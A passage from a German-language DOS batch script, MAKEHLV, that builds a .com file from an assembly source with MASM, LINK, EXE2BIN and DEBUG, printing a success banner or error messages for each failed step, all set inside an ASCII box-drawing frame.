º @echo q >> md.inp º
|
||
º @debug < md.inp > nul º
|
||
º @cls º
|
||
º @echo. º
|
||
º @echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º
|
||
º @echo º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º º
|
||
º @echo º°°°°°°°MAKEHLV erfolgreich beendet, _HLV_.com wurde erstellt.°°°º º
|
||
º @echo º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º º
|
||
º @echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ º
|
||
º @echo. º
|
||
º @goto ende º
|
||
º :nopar º
|
||
º @echo FEHLER ! Mindestens ein Parameter ist erforderlich ! º
|
||
º @echo Syntax : MAKEHLV asmfile [switches] º
|
||
º @goto ende º
|
||
º :noasm º
|
||
º @echo FEHLER ! Die Datei %1.ASM ist nicht zu finden ! º
|
||
º @goto ende º
|
||
º :masm_err º
|
||
º @echo FEHLER ! %1.OBJ konnte nicht erstellt werden ! º
|
||
º @goto ende º
|
||
º :link_err º
|
||
º @echo FEHLER ! %1.EXE konnte nicht erstellt werden ! º
|
||
º @goto ende º
|
||
º :exe2_err º
|
||
º @echo FEHLER ! %1.BIN konnte nicht erstellt werden ! º
|
||
º @goto ende º
|
||
º :cref_err º
|
||
º @echo FEHLER ! %1.REF konnte nicht erstellt werden ! º
|
||
º :ende º
|
||
º º
|
||
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||
#
|
||
END
|